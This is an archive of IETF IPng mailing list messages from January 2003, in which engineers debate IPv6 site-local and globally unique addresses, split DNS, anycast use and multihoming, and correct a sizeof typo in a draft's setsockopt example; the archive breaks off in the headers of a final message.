Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA25201
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:08:24 -0800 (PST)
Subject: RE: GUPI/GUSLs and DNS
Date: Wed, 22 Jan 2003 17:08:24 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B5B@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
Content-class: urn:content-classes:message
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: GUPI/GUSLs and DNS
Thread-Index: AcLB4W8JPK1MS0hpSAyXd3lMP5eUeAAllBrQ
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Erik Nordmark" <Erik.Nordmark@Sun.COM>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0N18M16027435
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> Erik Nordmark wrote:
> But the private interconnects seem to imply that there needs to
> be more than two faces - one for each set of set of sites that
> use GUPI/GUSL for private interconnects I think.

Yes.

> Has anybody thought through how this would work? With recursive
> resolvers?

No. With an extra domain name. This problem already exists in v4:
There is:
- External DNS (very restricted)
- Internal DNS (somehow unrestricted)
- Business partners DNS. (somehow restricted)

Business partners are connected with either a VPN or a physical PTP
circuit.

For a bundle of reasons, it is often necessary to have the same domain
name for the inside and the outside. This is a mistake in many
situations, as having mydomain.com for outside and mydomain.local for
inside is typically more manageable. It is not always possible though.

Anyway, this does not apply to external partners, which would be the
case study for private inter-site GUPI communications. You could have a
domain "sunbusinesspartners.com" for these purposes, populate that
domain with only what business partners have to see, and make sure that
queries/replies can go only over privileged links and not over the
public Internet. There is no need for an EDI process with a supplier or
a distributor to use sun.com, this is techie stuff and does not need to
carry the company's flag.

As of today, split or n-way DNS is a reality, both for small and large
organizations (small organizations will typically have their external
DNS hosted by their ISP). I don't think that the GUPI discussion changes
anything to this, as the main reason it exists is the desire of network
administrators to provide only restricted DNS visibility to people that
have no business nosing in the inside of their networks.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 17:30:44 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N1Ui16027598;
	Wed, 22 Jan 2003 17:30:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N1UhnR027597;
	Wed, 22 Jan 2003 17:30:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N1Ue16027590
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:30:40 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N1Ul4w018174
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:30:47 -0800 (PST)
Received: from coconut.itojun.org (coconut.itojun.org [219.101.47.130])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA08277
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:30:41 -0800 (PST)
Received: from itojun.org (localhost [127.0.0.1])
	by coconut.itojun.org (Postfix) with ESMTP
	id 099844B22; Thu, 23 Jan 2003 10:30:40 +0900 (JST)
To: alh-ietf@tndh.net
Cc: "'Margaret Wasserman'" <mrw@windriver.com>,
   "'Digambar Rasal'" <digambar@controlnet.co.in>, ipng@sunroof.eng.sun.com
In-reply-to: alh-ietf's message of Wed, 22 Jan 2003 16:25:58 PST.  <028e01c2c276$0087e270$441f4104@eagleswings> 
X-Template-Reply-To: itojun@itojun.org
X-Template-Return-Receipt-To: itojun@itojun.org
X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD  90 5F B4 60 79 54 16 E2
Subject: Re: please reply I am posting 3rd time : Web Server addresses : Unicast , Multicast , Anycast 
From: itojun@iijlab.net
Date: Thu, 23 Jan 2003 10:30:39 +0900
Message-Id: <20030123013040.099844B22@coconut.itojun.org>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>Yes that is what the spec says, but reality is always somewhat
>different. There is no technical reason that an anycast address could
>not be assigned to any group of hosts. The issue that must be dealt with

	there are technical reasons why anycast addresses can only be assigned
	to routers, and why anycast can be used with limited number of cases
	(like for instance it shouldn't be used as TCP endpoint address).
	draft-ietf-ipngwg-ipv6-anycast-analysis-01.txt

itojun
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 22 17:42:52 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N1gp16027732;
	Wed, 22 Jan 2003 17:42:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N1gpga027731;
	Wed, 22 Jan 2003 17:42:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N1gl16027724
	for <ipng@sunroof.eng.sun.com>; Wed, 22 Jan 2003 17:42:47 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N1gtgE028939;
	Wed, 22 Jan 2003 17:42:55 -0800 (PST)
Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA20098;
	Wed, 22 Jan 2003 17:42:49 -0800 (PST)
Received: from localhost ([2001:200:182:2000:4852:840e:9722:4156])
	by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id h0N1glR53022;
	Thu, 23 Jan 2003 10:42:47 +0900 (JST)
Date: Thu, 23 Jan 2003 10:43:07 +0900
Message-ID: <y7vd6mohc9g.wl@ocean.jinmei.org>
From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?=
 <jinmei@isl.rdc.toshiba.co.jp>
To: Michael Hunter <michael.hunter@eng.sun.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: slight error in draft-ietf-ipngwg-rfc2292bis-08.txt
In-Reply-To: <20030122142650.095f0b59.michael.hunter@eng.sun.com>
References: <20030122142650.095f0b59.michael.hunter@eng.sun.com>
User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.2 Mule/5.0 (SAKAKI)
Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan.
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Dispatcher: imput version 20000228(IM140)
Lines: 20
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>>>>> On Wed, 22 Jan 2003 14:26:50 -0800, 
>>>>> Michael Hunter <michael.hunter@eng.sun.com> said:

> Section 11.2 of draft-ietf-ipngwg-rfc2292bis-08.txt contains a slight
> error:

>        int on = 1;
>        setsockopt(fd, IPPROTO_IPV6, IPV6_DONTFRAG, &on, sizeof(&on));

> s/sizeof(&on)/sizeof(on)/

Thanks for the correction, you're right.  I've updated the master file
of the draft.  The fix will appear in the next revision (after
receiving comments from ADs or the IESG - which I've been waiting
for...-).

					JINMEI, Tatuya
					Communication Platform Lab.
					Corporate R&D Center, Toshiba Corp.
					jinmei@isl.rdc.toshiba.co.jp
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 00:32:59 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N8Ww16029929;
	Thu, 23 Jan 2003 00:32:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N8Wwp6029928;
	Thu, 23 Jan 2003 00:32:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N8Ws16029921
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 00:32:54 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0N8WsP06361;
	Thu, 23 Jan 2003 09:32:54 +0100 (MET)
Date: Thu, 23 Jan 2003 09:10:08 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: GUPI/GUSLs and DNS
To: Keith Moore <moore@cs.utk.edu>
Cc: Erik Nordmark <Erik.Nordmark@Sun.COM>, ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <20030122161246.544e8e27.moore@cs.utk.edu>
Message-ID: <Roam.SIMC.2.0.6.1043309408.14831.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> I do not believe it is either necessary or appropriate to have DNS
> provide only addresses that are reachable by the party making the query.

The question in my mind is whether it is appropriate to put addresses
that are by design not globally reachable in the DNS.

> Nor should DNS be used as a mechanism for trying to communicate policy.
> It is not reasonable to assume that the party making the query is the
> one that will be using the results of that query.  Nor is DNS capable of
> keeping track of who can talk to whom.  And for that matter,
> applications expect consistent behavior from DNS.
> 
> The results of DNS queries should be consistent everywhere. 

I agree with that sentence.

> If DNS
> returns addresses for a service that are not reachable, then the client
> will find that out when it is unable to reach that service (hopefully
> via an ICMP "prohibited" response rather than via a timeout).

The now expired draft-ietf-dnsop-dontpublish-unreachable-03.txt
recommends against this.

Intentionally putting IP addresses that are not globally reachable in
the DNS means that there will be delays due to timeouts, since there
isn't an ICMP "prohibited" that makes TCP immediately give up.
Sure, we could define one and think about the security issues.

But worse, the interaction between MX and A* records can cause more 
spectacular failures.
Assume a MX for *.example.com with points at mail.example.com
AAAA for mail.example.com has both global and GUPI addresses.
Works so far, perhaps with timeouts.

But when server.example.com has AAAA that is just GUPI then mail
delivery to me@server.example.com will fail when the GUPI is not reachable,
right?

   Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 01:05:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N95G16000375;
	Thu, 23 Jan 2003 01:05:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N95Gjg000374;
	Thu, 23 Jan 2003 01:05:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N95C16000367
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:05:12 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N95LgE001160
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:05:21 -0800 (PST)
Received: from d12lmsgate-4.de.ibm.com (d12lmsgate-4.de.ibm.com [194.196.100.237])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA12185;
	Thu, 23 Jan 2003 01:05:14 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-4.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0N953dM036546;
	Thu, 23 Jan 2003 10:05:10 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0N94xm5204220;
	Thu, 23 Jan 2003 10:05:00 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA44504 from <brian@hursley.ibm.com>; Thu, 23 Jan 2003 10:04:55 +0100
Message-Id: <3E2FB00D.EFE7A22@hursley.ibm.com>
Date: Thu, 23 Jan 2003 10:04:13 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: Erik Nordmark <Erik.Nordmark@Sun.COM>, ipng@sunroof.eng.sun.com
Subject: Re: "unique enough" [RE: globally unique site local addresses]
References: <963621801C6D3E4A9CF454A1972AE8F54B58@server2000.arneill-py.sacramento.ca.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Michel Py wrote:
> 
> > Erik Nordmark wrote:
> > On the enterprise side I can see that folks have been
> > bitting or are concerned about renumbering costs if they
> > were to use PA addresses.
> 
> > But I don't have any data on how many consider having one
> > PA prefix per ISP good enough since it allows some graceful
> > cutover when changing ISPs.
> 
> Not many. We have had many contributions that multiple addresses are a
> no-go to begin with.

Er, multiple addresses are part of the IPv6 architecture. And SCTP
deals with them, even if TCP doesn't. It may be something new and
different, but there's no way you can declare it a no-go.

  Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 01:10:39 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9Ad16000447;
	Thu, 23 Jan 2003 01:10:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N9AcjW000446;
	Thu, 23 Jan 2003 01:10:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9AX16000439
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:10:33 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N9Ag4w017564
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:10:42 -0800 (PST)
Received: from d12lmsgate-5.de.ibm.com (d12lmsgate-5.de.ibm.com [194.196.100.238])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA03434
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:10:36 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-5.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0N9ARVx004974;
	Thu, 23 Jan 2003 10:10:28 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0N9AQm5194644;
	Thu, 23 Jan 2003 10:10:26 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA37018 from <brian@hursley.ibm.com>; Thu, 23 Jan 2003 10:10:25 +0100
Message-Id: <3E2FB157.532BEDD2@hursley.ibm.com>
Date: Thu, 23 Jan 2003 10:09:43 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Pekka Savola <pekkas@netcore.fi>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
References: <Pine.LNX.4.44.0301222313270.2671-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka Savola wrote:
> 
> Hello,
> 
> A few quick comments on the draft.  Sorry for lack of content.
> 
> Substantial:
> 
>    This document proposes an approach to allocating IPv6 Site-Local
>    address so they are globally unique and routable only inside of a
>    site.
> 
> ==> it would be good to go a bit more in depth to how this is actually a
> problem.  For some it surely isn't; if they don't need to prepare for
> site-mergers, for example.

Can you define the class of sites that absolutely, definitely,
until the end of time, are guaranteed not to merge?

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 01:18:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9IN16000593;
	Thu, 23 Jan 2003 01:18:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N9INfA000592;
	Thu, 23 Jan 2003 01:18:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9IJ16000585
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:18:19 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N9IS4w018898
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:18:28 -0800 (PST)
Received: from raven.ecs.soton.ac.uk (raven.ecs.soton.ac.uk [152.78.70.1])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA15731
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 02:18:27 -0700 (MST)
Received: from roadrunner.ecs.soton.ac.uk (roadrunner.ecs.soton.ac.uk [152.78.68.161])
	by raven.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id JAA01221
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 09:18:25 GMT
Received: from login.ecs.soton.ac.uk (login.ecs.soton.ac.uk [152.78.68.162])
	by roadrunner.ecs.soton.ac.uk (8.12.3/8.12.3) with ESMTP id h0N9ILAU005075
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 09:18:21 GMT
Received: (from tjc@localhost)
	by login.ecs.soton.ac.uk (8.11.6/8.11.6) id h0N9ILv21741
	for ipng@sunroof.eng.sun.com; Thu, 23 Jan 2003 09:18:21 GMT
Date: Thu, 23 Jan 2003 09:18:21 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: ipng@sunroof.eng.sun.com
Subject: Re: "unique enough" [RE: globally unique site local addresses]
Message-ID: <20030123091821.GF21537@login.ecs.soton.ac.uk>
Mail-Followup-To: ipng@sunroof.eng.sun.com
References: <963621801C6D3E4A9CF454A1972AE8F54B58@server2000.arneill-py.sacramento.ca.us> <3E2FB00D.EFE7A22@hursley.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E2FB00D.EFE7A22@hursley.ibm.com>
User-Agent: Mutt/1.4i
X-ECS-MailScanner: Found to be clean
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, Jan 23, 2003 at 10:04:13AM +0100, Brian E Carpenter wrote:
> 
> Er, multiple addresses are part of the IPv6 architecture. And SCTP
> deals with them, even if TCP doesn't. It may be something new and
> different, but there's no way you can declare it a no-go.

And we also have many different classes of multihoming scenario (just as
we do with transition).  There's unlikely to be one single shoehorn solution.

Tim
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 01:26:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9Qg16000795;
	Thu, 23 Jan 2003 01:26:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N9QgId000794;
	Thu, 23 Jan 2003 01:26:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9Qc16000787
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:26:38 -0800 (PST)
Received: from localhost (punchin-nordmark.Eng.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id h0N9QfP13088;
	Thu, 23 Jan 2003 10:26:41 +0100 (MET)
Date: Thu, 23 Jan 2003 10:23:05 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@Sun.COM>
Reply-To: Erik Nordmark <Erik.Nordmark@Sun.COM>
Subject: Re: Proposal for site-local clean-up
To: Dan Lanciani <ipng-incoming@danlan.com>
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <200301222004.PAA22496@ss10.danlan.com>
Message-ID: <Roam.SIMC.2.0.6.1043313785.19590.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> This does not answer the question of why you assume that ISPs will change
> their business models under v6.

I said:
> |The ISPs business model is about service differentiation.

And I agree that they most likely will continue with service differentiation.


But I think they can change the *realization* of service differentiation
from using IP addresses to using something else, just as long as the
new mechanism provides what they need.
  
  Erik

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 01:41:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9fX16000935;
	Thu, 23 Jan 2003 01:41:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0N9fWUF000934;
	Thu, 23 Jan 2003 01:41:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0N9fT16000927
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:41:29 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0N9fcgE006995
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 01:41:38 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA28430
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 02:41:30 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0N9fST07312;
	Thu, 23 Jan 2003 11:41:28 +0200
Date: Thu, 23 Jan 2003 11:41:27 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: comments on draft-hinden-ipv6-global-site-local-00
In-Reply-To: <3E2FB157.532BEDD2@hursley.ibm.com>
Message-ID: <Pine.LNX.4.44.0301231139430.7083-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Thu, 23 Jan 2003, Brian E Carpenter wrote:
> > Substantial:
> > 
> >    This document proposes an approach to allocating IPv6 Site-Local
> >    address so they are globally unique and routable only inside of a
> >    site.
> > 
> > ==> it would be good to go a bit more in depth to how this is actually a
> > problem.  For some it surely isn't; if they don't need to prepare for
> > site-mergers, for example.
> 
> Can you define the class of sites that absolutely, definitely,
> until the end of time, are guaranteed not to merge?

Well, it depends on quite a bit about which is the usage model for
site-locals.  For example, home nets probably don't merge if we would
mandate that site-locals should not cross home-to-office VPN's.

But of course, there can be not absolute guarantee.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 23 04:32:37 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NCWb16001430;
	Thu, 23 Jan 2003 04:32:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0NCWbTs001429;
	Thu, 23 Jan 2003 04:32:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0NCWX16001422
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 04:32:33 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0NCWf4w017158
	for <ipng@sunroof.eng.sun.com>; Thu, 23 Jan 2003 04:32:41 -0800 (PST)
Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA24036;
	Thu, 23 Jan 2003 05:32:35 -0700 (MST)
Received: from user-119b1dm.biz.mindspring.com ([66.149.133.182] helo=envy.indecency.org)
	by hawk.mail.pas.earthlink.net with smtp (Exim 3.33 #1)
	id 18bgX4-00053v-00; Thu, 23 Jan 2003 04:32:34 -0800
Date: Thu, 23 Jan 2003 07:31:02 -0500
From: Keith Moore <moore@cs.utk.edu>
To: Erik Nordmark <Erik.Nordmark@Sun.COM>
